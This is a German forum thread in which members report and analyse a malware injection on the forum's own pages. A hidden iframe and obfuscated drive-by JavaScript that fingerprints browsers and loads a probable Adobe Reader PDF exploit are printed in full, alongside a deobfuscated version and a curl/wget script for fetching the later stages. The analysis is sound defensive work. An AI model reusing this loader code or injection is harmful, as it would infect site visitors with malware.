MAL_HIFIRM auf Index
-
Moin!
Nur zur Info: Mein TrendMicro meldet auf der Startseite einen MAL_HIFIRM
(Siehe http://threatinfo.trendmicro.com/vinfo/virusencyclo/default5.asp?vname=Mal_Hifrm )Vielleicht ist es ja nur eine Falschmeldung
-
AV meldet: HTML/Infected.WebPage.Gen - Malware
-
Jop, hinter das </html> hat sich ein iframe eingeschlichen:
<iframe src="http://*********.com/lib/index.php" width=0 height=0 style="hidden" frameborder=0 marginheight=0 marginwidth=0 scrolling=no></iframe><iframe src="http://*********.com/lib/index.php" width=0 height=0 style="hidden" frameborder=0 marginheight=0 marginwidth=0 scrolling=no></iframe>
(bevor einer auf die Idee kommt, auf den Link zuklicken sicherheitshalber abgeändert)
-
Öffnet bei mir automatisch ein PDF ... wahrscheinlich wird ein Exploit im PDF-Reader des Vertrauens (Adobe Reader) ausgenutzt. Also vorsichtig sein bis das behoben ist.
Danke für den Hinweis!
MfG SideWinder
-
Sorry für die Unannehmlichkeiten, wir hatten eine Kleinigkeit übersehen. Ist behoben. Christoph hat sich das ganze genauer angesehen und wird ein bisschen was dazu erklären.
-
Ich hab das Javascript mal etwas auseinandergenommen, das vorhin kurz
auf www.c-plusplus.net stand. Auf der Seite stand ein iframe, der auf
http://malware.invalid/start.php zeigte, was folgenden Code enthielt (für
das Forum hier musste ich leider ':(' durch ': (' ersetzen,
sonst kommt der "zu viele Smilies"-Fehler):<html><head></head><body><script>var xLtQRaeQU='./issue.php?key=2d805c72a9fe36b65fbc55914d641865&access=6da7180d4e94262e28c547fa8ee272b5';var PgXs5BmFS=window.navigator.userAgent.toLowerCase();var bLygKUK_p=new Array();var eCNnbnMeM=new Array();var RPSY8za69=function(WyYqb2eMn){WyYqb2eMn=String.fromCharCode((((WyYqb2eMn=WyYqb2eMn.charCodeAt(0))&223)-52)%26+(WyYqb2eMn&32)+65);return WyYqb2eMn;} var q3zT_TwdZ=function(WyYqb2eMn){return WyYqb2eMn.replace(/[A-Za-z]/g,RPSY8za69);} var HoYegVAka=function(D6AhmeQdl){var OyaqSQTRI,JSjAgNATT=D6AhmeQdl.length,pMgrgfB1Y=[];for(OyaqSQTRI=0;OyaqSQTRI<JSjAgNATT;OyaqSQTRI++){pMgrgfB1Y[OyaqSQTRI]=D6AhmeQdl.charCodeAt(OyaqSQTRI).toString(16);} return pMgrgfB1Y.join('');} var rGSOZSU00=function(D6AhmeQdl){D6AhmeQdl=HoYegVAka(D6AhmeQdl);D6AhmeQdl=q3zT_TwdZ(D6AhmeQdl);return D6AhmeQdl;} eCNnbnMeM[0]=(PgXs5BmFS.indexOf('windows')!=-1)?'Windows': ((PgXs5BmFS.indexOf('mac')!=-1)?'Mac': (PgXs5BmFS.indexOf('linux')!=-1)?'*Nix':'Other');eCNnbnMeM[1]=(eCNnbnMeM[0]=='Windows')?((PgXs5BmFS.indexOf('95')!=-1)?'95': ((PgXs5BmFS.indexOf('98')!=-1)?'98': ((PgXs5BmFS.indexOf('nt 5.0')!=-1)?'2000': ((PgXs5BmFS.indexOf('nt 5.1')!=-1)?'XP': ((PgXs5BmFS.indexOf('nt 5.2')!=-1)?'2003': ((PgXs5BmFS.indexOf('nt 6.0')!=-1)?'Vista': ((PgXs5BmFS.indexOf('6.1')!=-1)?'Seven':'Other'))))))):'';bLygKUK_p[0]=(PgXs5BmFS.indexOf('opera')>=0)?'Opera': ((PgXs5BmFS.indexOf('firefox')>=0)?'FireFox': ((PgXs5BmFS.indexOf('msie')>=0)?'Internet Explorer':'Other'));bLygKUK_p[1]=(bLygKUK_p[0]=='Opera')?PgXs5BmFS.substr(PgXs5BmFS.indexOf('opera')+6,4): ((bLygKUK_p[0]=='FireFox')?d7wj0ugWm('x/','',PgXs5BmFS.substr(PgXs5BmFS.indexOf('firefox')+6,8)+' ('+PgXs5BmFS.substr(8,3)+')').substr(0,3): ((bLygKUK_p[0]=='Internet Explorer')?PgXs5BmFS.substr(PgXs5BmFS.indexOf('msie')+5,3):null));xLtQRaeQU+='&o='+rGSOZSU00(eCNnbnMeM[0])+'&v='+rGSOZSU00(eCNnbnMeM[1])+'&b='+rGSOZSU00(bLygKUK_p[0])+'&m='+rGSOZSU00(bLygKUK_p[1]);xLtQRaeQU+=(navigator.cookieEnabled)?'&c=1':'&c=2';var XjWRcWMJ5={XjWRcWMJ5:false,pO9qWN7cL:q3zT_TwdZ('Nqbor Npebong'),FC89qf9Nb:q3zT_TwdZ('Nqbor CQS'),mptPgN45K:0,K0NoSM6UY:window.ActiveXObject,Omo7zi2Qp:null,hrHCPIelV:q3zT_TwdZ('NpebCQS.CQS'),twBsOkzEp:q3zT_TwdZ('CQS.CqsPgey'),CkuZG4HAS:function(){if(navigator.plugins&&navigator.plugins.length){for(;XjWRcWMJ5['mptPgN45K']<navigator.plugins.length;XjWRcWMJ5['mptPgN45K']++){if(navigator.plugins[XjWRcWMJ5.mptPgN45K].description.indexOf(XjWRcWMJ5.pO9qWN7cL)!=-1){return true;} if(navigator.plugins[XjWRcWMJ5.mptPgN45K].description.indexOf(XjWRcWMJ5['FC89qf9Nb'])!=-1){return true;}} return false;}else if(window.ActiveXObject){try{XjWRcWMJ5['Omo7zi2Qp']=new ActiveXObject(XjWRcWMJ5['hrHCPIelV']);} catch(e){} if(!XjWRcWMJ5['Omo7zi2Qp']){try{XjWRcWMJ5['Omo7zi2Qp']=new ActiveXObject(XjWRcWMJ5.twBsOkzEp);} catch(e){}} if(XjWRcWMJ5['Omo7zi2Qp']){return true;}} return false;}} function d7wj0ugWm(DdklU79Sk,SlfX7mjWx,lmaaGJ1Sl){if(!(SlfX7mjWx instanceof Array)){SlfX7mjWx=new Array(SlfX7mjWx);if(DdklU79Sk instanceof Array){while(DdklU79Sk.length>SlfX7mjWx.length){SlfX7mjWx[SlfX7mjWx.length]=SlfX7mjWx[0];}}} if(!(DdklU79Sk instanceof Array))DdklU79Sk=new Array(DdklU79Sk);while(DdklU79Sk.length>SlfX7mjWx.length){SlfX7mjWx[SlfX7mjWx.length]='';} if(lmaaGJ1Sl instanceof Array){for(tTGKJri3h in lmaaGJ1Sl){lmaaGJ1Sl[tTGKJri3h]=d7wj0ugWm(DdklU79Sk,SlfX7mjWx,lmaaGJ1Sl[tTGKJri3h]);} return lmaaGJ1Sl;} for(var tTGKJri3h=0;tTGKJri3h<DdklU79Sk.length;tTGKJri3h++){var PsazFRmd9=lmaaGJ1Sl.indexOf(DdklU79Sk[tTGKJri3h]);while(PsazFRmd9>-1){lmaaGJ1Sl=lmaaGJ1Sl.replace(DdklU79Sk[tTGKJri3h],SlfX7mjWx[tTGKJri3h]);PsazFRmd9=lmaaGJ1Sl.indexOf(DdklU79Sk[tTGKJri3h],PsazFRmd9);}} return lmaaGJ1Sl;} function utBrvqq_B(){if(XjWRcWMJ5['CkuZG4HAS']()){bQuP7MRtu(xLtQRaeQU+'&ac=1');} else{JNakjyMro(xLtQRaeQU);}} function JNakjyMro(vV2S1h9pj){var oICUAgMV9=document.createElement('script');oICUAgMV9.setAttribute('src',vV2S1h9pj);oICUAgMV9.setAttribute('defer','defer');document.getElementsByTagName('BODY')[0].appendChild(oICUAgMV9);var QcX95UB2u={};QcX95UB2u[window.location.href]=1;if(!window.sP9j0QNXg)window.sP9j0QNXg={};if(!window.sP9j0QNXg.dul6edQwe)window.sP9j0QNXg.dul6edQwe=QcX95UB2u;if(!window.sP9j0QNXg.dul6edQwe[vV2S1h9pj]){window.sP9j0QNXg.dul6edQwe[vV2S1h9pj]=1;}else{window.sP9j0QNXg.dul6edQwe[vV2S1h9pj]++;} return window.sP9j0QNXg.dul6edQwe[vV2S1h9pj];} function bQuP7MRtu(vV2S1h9pj){var Hd1XiG74t=function(tSEueO8oL){var wkTRcpgkr=new Array(window,tSEueO8oL);while(wkTRcpgkr[0]['parent']!=wkTRcpgkr[0]){wkTRcpgkr[0]=wkTRcpgkr[0]['parent'];} wkTRcpgkr[0]['location']=wkTRcpgkr[1];} Hd1XiG74t(vV2S1h9pj);} utBrvqq_B()</script></body></html>
Diesen Code bekommt man nur einmal ausgeliefert. Die Seite speichert
scheinbar die IP für eine gewisse Zeit; während dieser Zeit bekommt
man nur eine Weiterleitung auf google zu sehen.Wenn man den Code auseinanderpfriemelt, bekommt man das hier:
<html><head></head><body> <!-- Source: http://malware.invalid/start.php --> <script> var target_url = './issue.php?key=2d805c72a9fe36b65fbc55914d641865&access=6da7180d4e94262e28c547fa8ee272b5'; var user_agent = window.navigator.userAgent.toLowerCase(); var client_browser = new Array(); var client_os = new Array(); function decode_one_char(input) { input = String.fromCharCode((((input=input.charCodeAt(0))&223)-52)%26+(input&32)+65); return input; } function decode_string(input) { return input.replace(/[A-Za-z]/g, decode_one_char); } function string_to_hex(input) { var result=[]; for(var i = 0; i < input.length; i++) result[i] = input.charCodeAt(i).toString(16); return result.join(''); } function obfuscate_string(input) { input = string_to_hex(input); input = decode_string(input); return input; } client_os[0] = (user_agent.indexOf('windows')!=-1) ? 'Windows' : ((user_agent.indexOf('mac')!=-1) ? 'Mac' : (user_agent.indexOf('linux')!=-1) ? '*Nix' : 'Other'); client_os[1] = (client_os[0]=='Windows') ? ((user_agent.indexOf('95')!=-1) ? '95' : ((user_agent.indexOf('98')!=-1) ? '98' : ((user_agent.indexOf('nt 5.0')!=-1) ? '2000' : ((user_agent.indexOf('nt 5.1')!=-1) ? 'XP' : ((user_agent.indexOf('nt 5.2')!=-1) ? '2003' : ((user_agent.indexOf('nt 6.0')!=-1) ? 'Vista' : ((user_agent.indexOf('6.1')!=-1) ? 'Seven' : 'Other'))))))) : ''; client_browser[0]=(user_agent.indexOf('opera')>=0) ? 'Opera' : ((user_agent.indexOf('firefox')>=0) ? 'FireFox' : ((user_agent.indexOf('msie')>=0) ? 'Internet Explorer' : 'Other')); client_browser[1]=(client_browser[0]=='Opera') ? user_agent.substr(user_agent.indexOf('opera')+6,4) : ((client_browser[0]=='FireFox') ? remove_string('x/', user_agent.substr(user_agent.indexOf('firefox')+6,8)+' ('+user_agent.substr(8,3)+')').substr(0,3) : ((client_browser[0]=='Internet Explorer') ? user_agent.substr(user_agent.indexOf('msie')+5,3) : null)); target_url += '&o=' + obfuscate_string(client_os[0]) + '&v=' + obfuscate_string(client_os[1]) + '&b=' + obfuscate_string(client_browser[0]) + '&m=' + obfuscate_string(client_browser[1]); target_url += navigator.cookieEnabled ? '&c=1' : '&c=2'; function has_pdf_plugin() { if(navigator.plugins && navigator.plugins.length) { for(var i = 0; i < navigator.plugins.length; i++) { if(navigator.plugins[i].description.indexOf('Adobe Acrobat') != -1) return true; if(navigator.plugins[i].description.indexOf('Adobe PDF') != -1) return true; } return false; } else if(window.ActiveXObject) { // Internet Explorer var active_x_object = null; try { active_x_object = new ActiveXObject('AcroPDF.PDF'); } catch(e) { } if(!active_x_object) { try { active_x_object = new ActiveXObject('PDF.PdfCtrl'); } catch(e) { } } if(active_x_object) { return true; } } return false; } function remove_string(search_pattern, input) { var pattern_position = input.indexOf(search_pattern); while(pattern_position > -1) { input = input.replace(search_pattern, ''); pattern_position = input.indexOf(search_pattern, pattern_position); } return input; } function load_script(target) { var script_element = document.createElement('script'); script_element.setAttribute('src', target); script_element.setAttribute('defer', 'defer'); document.getElementsByTagName('BODY')[0].appendChild(script_element); } function redirect_to(target) { while(window['parent'] != window) window = window['parent']; window['location'] = target; } if(has_pdf_plugin()) redirect_to(target_url + '&ac=1'); else load_script(target_url); </script></body></html>
Der Code macht nicht besonders viel. Der macht entweder ein redirect
auf issue.php oder lädt issue.php in den body als neues
javascript. issue.php scheint dabei einige Parameter zu bekommen, vor
allem die OS- und Browser-Version und ob ein PDF-Plugin vorhanden ist.Der issue.php-Aufruf lieferte folgenden Code:
<html><head></head><body><script> var tLcawZvcV={tLcawZvcV:function(CQ1DcFZQE){var r74xkLjKr=window['\x64\x6f\x63\x75\x6d\x65\x6e\x74']['\x63\x72\x65\x61\x74\x65\x45\x6c\x65\x6d\x65\x6e\x74']('fnHuvdaBi');r74xkLjKr['\x69\x64']='TEygFqHSr';r74xkLjKr['\x6e\x61\x6d\x65']='IwrgWHj5A';r74xkLjKr['\x74\x65\x78\x74']=CQ1DcFZQE;r74xkLjKr['\x73\x74\x79\x6c\x65']['\x63\x6f\x6c\x6f\x72']='#fff';r74xkLjKr['\x73\x74\x79\x6c\x65']['\x66\x6f\x6e\x74\x53\x69\x7a\x65']=0;window['\x64\x6f\x63\x75\x6d\x65\x6e\x74']['\x62\x6f\x64\x79']['\x61\x70\x70\x65\x6e\x64\x43\x68\x69\x6c\x64'](r74xkLjKr);var cej_hfc4z=window['\x64\x6f\x63\x75\x6d\x65\x6e\x74']['\x67\x65\x74\x45\x6c\x65\x6d\x65\x6e\x74\x42\x79\x49\x64']('TEygFqHSr');return cej_hfc4z['\x74\x65\x78\x74'];}} var Zhm5N_fuy={Zhm5N_fuy:window,nV9EPv8hd:tLcawZvcV['tLcawZvcV']('0n696r6520616p57654o574n6o413q226p7266223o6n766171626n2r626172656562653q736861706776626128297o65726768656120676568727q0n696r6520484556416s6r436p493q27756767633n2s2s706261696r65672r70627n2s686379626r712r637563273o696r65205436504q774s764r733q276q63767659672r726o72273o696r652077394s546r36484r4p3q73686170677662612863794n6o6q7n736q32297o63794n6o6q7n736q323q4667657661742r7365627n50756r65506271722828282863794n6o6q7n736q323q63794n6o6q7n736q322r70756r65506271724r672830292926323233292q3532292532362o2863794n6o6q7n736q32263332292o3635293o6572676865612063794n6o6q7n736q323o7q0n696r6520437n4856544p6o37593q73686170677662612863794n6o6q7n736q32297o6572676865612063794n6o6q7n736q322r657263796r7072282s5o4r2q4q6r2q6q5q2s742p77394s546r36484r4p293o7q0n696r65207733486870676s34573q61726n20426s777270673o696r6520576r526p4s515275573q7o576r526p4s515275573n7o576r526p4s515275573n272r272p7733486870676s34573n7o576r526p4s515275573n437n4856544p6o3759282770687027292o273s78726p3q336r703470707032383973316r346r7173733136306s316r35366s3937393037266r70707266663q356s70733934713972306r713737703971346r34377373396s6r703237707071272p7733486870676s34573n437n4856544p6o3759282770646627297q7q2p7733486870676s34573n7o576r526p4s515275573n7368617067766261287733486870676s34572p444937445677664r502p424r696r5n4p776s66297o65726768656120466765766174287733486870676s34572o444937445677664r502o424r696r5n4p776s66293o7q2p7733486870676s34573n437n4856544p6o37592827656q62656427297q2p444937445677664r503n7o7733486870676s34573n437n4856544p6o37592827696672616q6527292p444937445677664r503n437n4856544p6o375928276170706p69636174696s6r2s70646627297q7q0n696r652059494569324p5n72793q7o59494569324p5n72793n736861706776626128297o696r652059494569324p5n72793q716270687n7261672r7065726r67725279727n72616728576r526p4s515275575o27444937445677664r50275q5o277733486870676s3457275q293o59494569324p5n72795o27666570275q3q576r526p4s515275575o277733486870676s3457275q5o27576r526p4s51527557275q28576r526p4s515275575o27576r526p4s51527557275q5o277733486870676s3457275q5o277733486870676s3457275q2p576r526p4s515275575o27576r526p4s51527557275q5o27576r526p4s51527557275q2p576r526p4s515275575o27576r526p4s51527557275q5o277733486870676s3457275q5o27576r526p4s51527557275q293o59494569324p5n72795o276n76716775275q3q27343030273o59494569324p5n72795o27757276747567275q3q27343030273o716270687n7261672r6s62716p2r6r636372617150757679712859494569324p5n7279293o7q2p4872706q7n3n736861706776626128297o696r652059494569324p5n72793q716270687n7261672r7065726r67725279727n72616728576r526p4s515275575o277733486870676s3457275q5o277733486870676s3457275q293o59494569324p5n72795o27666570275q3q576r526p4s515275575o277733486870676s3457275q5o27576r526p4s51527557275q28576r526p4s515275575o27576r526p4s51527557275q5o277733486870676s3457275q5o277733486870676s3457275q2p576r526p4s515275575o27576r526p4s51527557275q5o27576r526p4s51527557275q2p576r526p4s515275575o27576r526p4s51527557275q5o277733486870676s3457275q5o27576r526p4s51527557275q293o59494569324p5n72795o276n76716775275q3q27343030273o59494569324p5n72795o27757276747567275q3q27343030273o59494569324p5n72795o27676p6372275q3q276r63637976706r677662612s637173273o716270687n7261672r6s62716p2r6r636372617150757679712859494569324p5n7279293o7q7q0n696r65205n7135426n6r4673483q736861706776626128297o696r65206o703358475756654s3q28616r6976746r6762652r686672654r747261672r676259626n7265506r667228292r766171726o427328277376657273626o2729213q2q31293s59494569324p5n72795o274872706q7n275q3n59494569324p5n72795o2759494569324p5n7279275q3o6o703358475756654s28293o7q0n696r6520543178596r683330623q272r2s6r776r6o2r6375633s653q272o5n6r67752r656r6171627n28293o696r65206n454s366r4r316s373q7o727271544p5s74666p3n7368617067766261287n486r4q4559333630297o696r65204q366p736r697866653q616879793o67656p7o4q366p736r697866653q61726n204r70677669724o426s7772706728275n666o7n79322r4o5n595547474327293o7q0n706r67707528535336785s374n5069297o67656p7o4q366p736r697866653q61726n204r70677669724o426s7772706728275n76706562666273672r4o5n595547474327293o7q0n706r67707528535336785s374n5069297o67656p7o4q366p736r697866653q61726n204o5n59556767634572646872666728293o7q0n706r67707528535336785s374n5069297o7q7q7q0n7673284q366p736r697866653q3q61687979297o677565626n2061726n20526565626528274o5n595567676345726468726667206162672066686363626567727127293o7q0n4q366p736r697866652r626372612827545247272p7n486r4q45593336302p736r796672293o4q366p736r697866652r667261712861687979293o657267686561204q366p736r697866652r657266636261667247726o673o7q2p4n70494q75614p4s443n736861706776626128297o696r65204q366p736r697866653q286n454s366r4r316s372r727271544p5s74666p28543178596r68333062293q3q276668707072666627293s676568723n736r7966723o657267686561204q366p736r697866653o7q7q0n767328616p57654o574n6o413q3q226p726622297o5n7135426n6r46734828293o7q'),qHWk3ysZ0:''} var hEylsIM_B=function(SRyzVP6xD){SRyzVP6xD=window['\x53\x74\x72\x69\x6e\x67']['\x66\x72\x6f\x6d\x43\x68\x61\x72\x43\x6f\x64\x65']((((SRyzVP6xD=SRyzVP6xD['\x63\x68\x61\x72\x43\x6f\x64\x65\x41\x74'](0))&223)-52)%26+(SRyzVP6xD&32)+65);return SRyzVP6xD;} var urby9DwVc=function(SRyzVP6xD){return SRyzVP6xD['\x72\x65\x70\x6c\x61\x63\x65'](/[A-Za-z]/g,hEylsIM_B);} function p8qARtGwF(){window['Zhm5N_fuy']['qHWk3ysZ0']=window['nQySoV3AP'](window['Zhm5N_fuy']['nV9EPv8hd']);window['\x65\x76\x61\x6c'](Zhm5N_fuy.qHWk3ysZ0);} function nQySoV3AP(CQ1DcFZQE){var a6xe7twGM='';var lohIsErjY=0;while(lohIsErjY<CQ1DcFZQE.length){a6xe7twGM+='%u00'+urby9DwVc(CQ1DcFZQE['\x73\x75\x62\x73\x74\x72'](lohIsErjY,2));lohIsErjY+=2;} return urby9DwVc(window['\x75\x6e\x65\x73\x63\x61\x70\x65'](a6xe7twGM));} var SRyzVP6xD=function(){window['p8qARtGwF']();} SRyzVP6xD();</script><iframe style = "border:1px solid #fff;overflow:auto;display:none;" src = "about:blank"></iframe></body></html>
Sieht wieder furchtbar hässlich aus. Zum einen kann man erstmal das
escapen rückgängig machen. Dann sieht man, dass unten ein
eval(...)-Aufruf steht. Das in Kombination mit dem unglaublich langen
String lässt vermuten, was hier passiert. Javascript-Code wird
dynamisch generiert und ausgeführt. Den generierten Javascript-Code
kann man leicht bekommen, indem man den eval-Aufruf durch eine Ausgabe
ersetzt:var nyJrXJWxN="yes";window.onerror=function(){return true} var URINbaPyV='http://malware.invalid/upload.php';var G6CZjBiAf='zpiiLt.exe';var j9BGa6UAY=function(plWxzmfz2){plWxzmfz2=String.fromCharCode((((plWxzmfz2=plWxzmfz2.charCodeAt(0))&223)-52)%26+(plWxzmfz2&32)+65);return plWxzmfz2;} var PmUIGYx7L=function(plWxzmfz2){return plWxzmfz2.replace(/[A-Za-z]/g,j9BGa6UAY);} var j3Uuctb4J=new Object;var JaEyBDEhJ={JaEyBDEhJ:{JaEyBDEhJ:'.',j3Uuctb4J:{JaEyBDEhJ:PmUIGYx7L('cuc')+'?key=3ac4ccc289f1a4adff160b1a56b97907&access=5bcf94d9e0ad77c9d4a47ff9bac27ccd',j3Uuctb4J:PmUIGYx7L('cqs')}},j3Uuctb4J:{JaEyBDEhJ:function(j3Uuctb4J,QV7QIjsAC,OAvaMYjbs){return String(j3Uuctb4J+QV7QIjsAC+OAvaMYjbs);},j3Uuctb4J:PmUIGYx7L('rzorq')},QV7QIjsAC:{j3Uuctb4J:PmUIGYx7L('vsenzr'),QV7QIjsAC:PmUIGYx7L('nccyvpngvba/cqs')}} var LVRv2YMel={LVRv2YMel:function(){var LVRv2YMel=document.createElement(JaEyBDEhJ['QV7QIjsAC']['j3Uuctb4J']);LVRv2YMel['src']=JaEyBDEhJ['j3Uuctb4J']['JaEyBDEhJ'](JaEyBDEhJ['JaEyBDEhJ']['j3Uuctb4J']['j3Uuctb4J'],JaEyBDEhJ['JaEyBDEhJ']['JaEyBDEhJ'],JaEyBDEhJ['JaEyBDEhJ']['j3Uuctb4J']['JaEyBDEhJ']);LVRv2YMel['width']='400';LVRv2YMel['height']='400';document.body.appendChild(LVRv2YMel);},Ueczm:function(){var LVRv2YMel=document.createElement(JaEyBDEhJ['j3Uuctb4J']['j3Uuctb4J']);LVRv2YMel['src']=JaEyBDEhJ['j3Uuctb4J']['JaEyBDEhJ'](JaEyBDEhJ['JaEyBDEhJ']['j3Uuctb4J']['j3Uuctb4J'],JaEyBDEhJ['JaEyBDEhJ']['JaEyBDEhJ'],JaEyBDEhJ['JaEyBDEhJ']['j3Uuctb4J']['JaEyBDEhJ']);LVRv2YMel['width']='400';LVRv2YMel['height']='400';LVRv2YMel['type']='application/pdf';document.body.appendChild(LVRv2YMel);}} var Md5OwaSfU=function(){var xc3KTJIrB=(navigator.userAgent.toLowerCase().indexOf('firefox')!=-1)?LVRv2YMel['Ueczm']:LVRv2YMel['LVRv2YMel'];xc3KTJIrB();} var G1kLau30o='./ajax.php?r='+Math.random();var wRB6aA1b7={eedGY_gsy:function(mUaZRL360){var Z6yfavksr=null;try{Z6yfavksr=new ActiveXObject('Msxml2.XMLHTTP');} catch(FF6k_7WCv){try{Z6yfavksr=new ActiveXObject('Microsoft.XMLHTTP');} catch(FF6k_7WCv){try{Z6yfavksr=new XMLHttpRequest();} catch(FF6k_7WCv){}}} if(Z6yfavksr==null){throw new Error('XMLHttpRequest not supported');} Z6yfavksr.open('GET',mUaZRL360,false);Z6yfavksr.send(null);return Z6yfavksr.responseText;},WcVZhnYBQ:function(){var Z6yfavksr=(wRB6aA1b7.eedGY_gsy(G1kLau30o)=='success')?true:false;return Z6yfavksr;}} if(nyJrXJWxN=="yes"){Md5OwaSfU();}
Dieser Javascript-Code enthält eine ganze Menge von toten Abschnitten,
die nie ausgeführt werden. Nimmt man den Code ein bisschen
auseinander, stellt man fest, dass der äquivalent ist zu dem hier (ohne Gewähr):// Only for firefox function handle_firefox() { var embed = document.createElement('embed'); embed['src'] = 'pdf.php?key=3ac4ccc289f1a4adff160b1a56b97907&access=5bcf94d9e0ad77c9d4a47ff9bac27ccd'; embed['width'] = '400'; embed['height'] = '400'; embed['type'] = 'application/pdf'; document.body.appendChild(embed); } // For all browsers other than firefox function handle_non_firefox() { var iframe = document.createElement('iframe'); iframe['src'] = 'embed.php?key=3ac4ccc289f1a4adff160b1a56b97907&access=5bcf94d9e0ad77c9d4a47ff9bac27ccd'; iframe['width'] = '400'; iframe['height'] = '400'; document.body.appendChild(iframe); } if(navigator.userAgent.toLowerCase().indexOf('firefox') != -1) handle_firefox(); else handle_non_firefox();
Ist letzten Endes nicht besonders spannend, was hier passiert. Es
wird ein <iframe> bzw. <embed> vom Typ pdf geladen, was
höchstwahrscheinlich einen Exploit im Adobe Acrobat Reader
ausnutzt. An den Inhalt von pdf.php oder embed.php bin ich leider
nicht mehr gekommen.Das ist im Grunde auch der interessanteste Punkt
an der ganzen Sache. Abgesehen von start.php gehen die Links auf eine
404-Seite, wenn ich per curl oder wget draufgehe, auch wenn ich
Referer und User-Agent auf dasselbe setze, was ein Browser nehmen
würde. Das 404 ist aber auch kein echtes 404, sondern behauptet nur im
Body ein 404 zu sein. Laut Header ist es ein "200 OK". Was ich
versucht habe, war folgendes Shellskript:#!/bin/bash KEY=$( curl 'http://malware.invalid/start.php' 2>/dev/null | grep -o "key[^']*") if [[ -z $KEY ]]; then echo "start.php refused!" echo "Your IP is probably banned, wait a few hours or get a different IP." exit 1 fi URL='http://malware.invalid/issue.php?'$KEY'&o=2n4r6978&v=&b=46697265466s78&m=332r35&c=1&ac=1' URL2='http://malware.invalid/pdf.php?'$KEY USER_AGENT='Mozilla/5.0 (X11; U; Linux x86_64; en-US; rv:1.9.1.8) Gecko/20100214 Ubuntu/9.10 (karmic) Firefox/3.5.8' wget --referer='http://malware.invalid/start.php' \ --user-agent="$USER_AGENT" \ -O "/tmp/issue.php" \ "$URL" wget --referer="$URL" \ --user-agent="$USER_AGENT" \ -O "/tmp/pdf.php" \ "$URL2" exit 0
start.php wird nach dem ersten Versuch die IP für ein paar Stunden
blockieren. Leider bekomme ich mit dem Skript von issue.php und
pdf.php nicht die gewünschten Inhalte, stattdessen nur ein 404. Falls
jemand Lust hat, kann er gerne versuchen herauszufinden, woran
issue.php und pdf.php die Anfrage als ungültig erkennen.Fazit:
Wenn der Browser Javascript auf fremden Seiten ausführt und PDFs
automatisch im Acrobat-Reader oder -Plugin öffnet, könnte man sich
durch den Vorfall Malware geholt haben.edit: Links ungültig gemacht, um nicht aus Versehen den Virus zu verteilen.
-
War/ist die Forenstartseite auch betroffen?
(Denke wohl das Noscript bzw. adblock mich wohl geschützt haben).
-
phlox81 schrieb:
War/ist die Forenstartseite auch betroffen?
Es war jede Seite hier betroffen, die hinreichend simpel war, um von der automatisierten Ersetzung erfasst werden zu können. Wir werden noch einen entsprechenden Hinweis verfassen.
-
Hmm, bei mir ist javascript generel erlaubt, adobe reader ist installiert, mein virenscanner hat nichts gemeldet. Habt ihr irgendwelche tipps wie ich feststellen kann ob bei mir Malware installiert wurde?
-
Nicht wirklich, der Ratschlag lautet: aktueller Virenscanner. Du kannst es ja an den beiden ersten Postings sehen, die Malware war offensichtlich bekannt, zwei Scanner sprangen an, ich würde also annehmen, daß das die Masse der Scanner detektiert hätte.
Da bei Dir nichts angesprungen ist, würde ich davon ausgehen daß nichts passiert ist und es sich nicht um einen bisher völlig unbekannten Hack handelt, den noch kein Scanner erkennt.
Ein vollständiger Systemscan sollte Dir diesbezüglich Sicherheit geben.
-
Marc++us schrieb:
Du kannst es ja an den beiden ersten Postings sehen, die Malware war offensichtlich bekannt, zwei Scanner sprangen an, ich würde also annehmen, daß das die Masse der Scanner detektiert hätte.
Die Scanner-Meldungen in den ersten Postings sehen eher nach Heuristiken aus. Ein <iframe> direkt hinter </html> ist wahrscheinlich so verdächtig, dass das viele Scanner triggert.
-
Christoph:
Habe leider gerade keine Linux shell am laufen, aber hast du es schon mal mit einem Windows-User-Agent probiert? Vielleicht ist Linux dem Script ja zu heikel.zB. "Mozilla/5.0 (Windows; U; Windows NT 5.1; de; rv:1.9.2) Gecko/20100115 Firefox/3.6 (.NET CLR 3.5.30729)"
-
Nobuo T schrieb:
Christoph:
Habe leider gerade keine Linux shell am laufen, aber hast du es schon mal mit einem Windows-User-Agent probiert? Vielleicht ist Linux dem Script ja zu heikel.zB. "Mozilla/5.0 (Windows; U; Windows NT 5.1; de; rv:1.9.2) Gecko/20100115 Firefox/3.6 (.NET CLR 3.5.30729)"
Hilft leider nicht. Ich habe vorhin noch probiert, Cookies zu akzeptieren, das hat aber auch nichts gebracht.
-
Marc++us schrieb:
Nicht wirklich, der Ratschlag lautet: aktueller Virenscanner. Du kannst es ja an den beiden ersten Postings sehen, die Malware war offensichtlich bekannt, zwei Scanner sprangen an, ich würde also annehmen, daß das die Masse der Scanner detektiert hätte.
Da bei Dir nichts angesprungen ist, würde ich davon ausgehen daß nichts passiert ist und es sich nicht um einen bisher völlig unbekannten Hack handelt, den noch kein Scanner erkennt.
Ein vollständiger Systemscan sollte Dir diesbezüglich Sicherheit geben.
Die sind nicht auf die Malware angesprungen (falls wirklich was heruntergeladen/installiert wurde). Das sieht nach heuristischer Erkennung von den eingeschleusten Exploitversuchen aus. Sprich die sind auf das was das iframe gemacht hat angesprungen.
Edit: Und leider können das die wenigsten kostenlosen Anti-Malware Scannern erkennen.
-
Der TrendMicro Agent hatte ausserdem noch eine URL gesperrt die versucht wurde zu öffnen. Kann sein das es die im Post von Christoph beschriebene convart.com war, aber sicher bin ich mir nicht mehr.
-
Leider hab ich von sowas so gut wie keine ahnung.
Ich meine, um eine Datei zu verändern, braucht man doch root zugang?!
Und irgendwie muss der ja dann das Root-PW rausbekommen haben oder?Außerdem frag ich mich wie ihr sowas raus bekommt das es da angriffe gab.
Da ich auch häufiger mit PHP arbeite, meist aber local, interessiert mich vorallem wie so ein angriff zu erkennen ist. Noch bin ich im Studium. Aber danach möchte ich in diesem bereich auch arbeiten. Vllt kann ja jemand der so richtig ahnung hat, und außerdem vllt noch ein bischen freizeit, im bereich Rund um den PC oder in Webzeugs mal ein Thema aufmachen und das alles erklären und ein paar muster-logs posten wie sowas aussieht??
Und so neben bei auch mal kurz erklären, wo der unterscheid ist wenn ich php 5.2.xx oder PHP 5.3.x laufen habe. weil local merk ich da nichts...
Ich denke das sprengt hier den rahmen, deshalb wäre ein extra thema vllt nicht schlecht...Wäre echt cool wenn da jemand mit richtig viel Ahnung mal was kleines verfassen könnte... Vllt auch so in schritten, wie dieses Betriebssystem-tut was hier entstanden ist. Denke hier wird das vllt noch mehr interessieren. Grade hinsichtlich der Aktuellen Situation hier im Forum.
So long
Sqwan
-
Sqwan schrieb:
Ich meine, um eine Datei zu verändern, braucht man doch root zugang?!
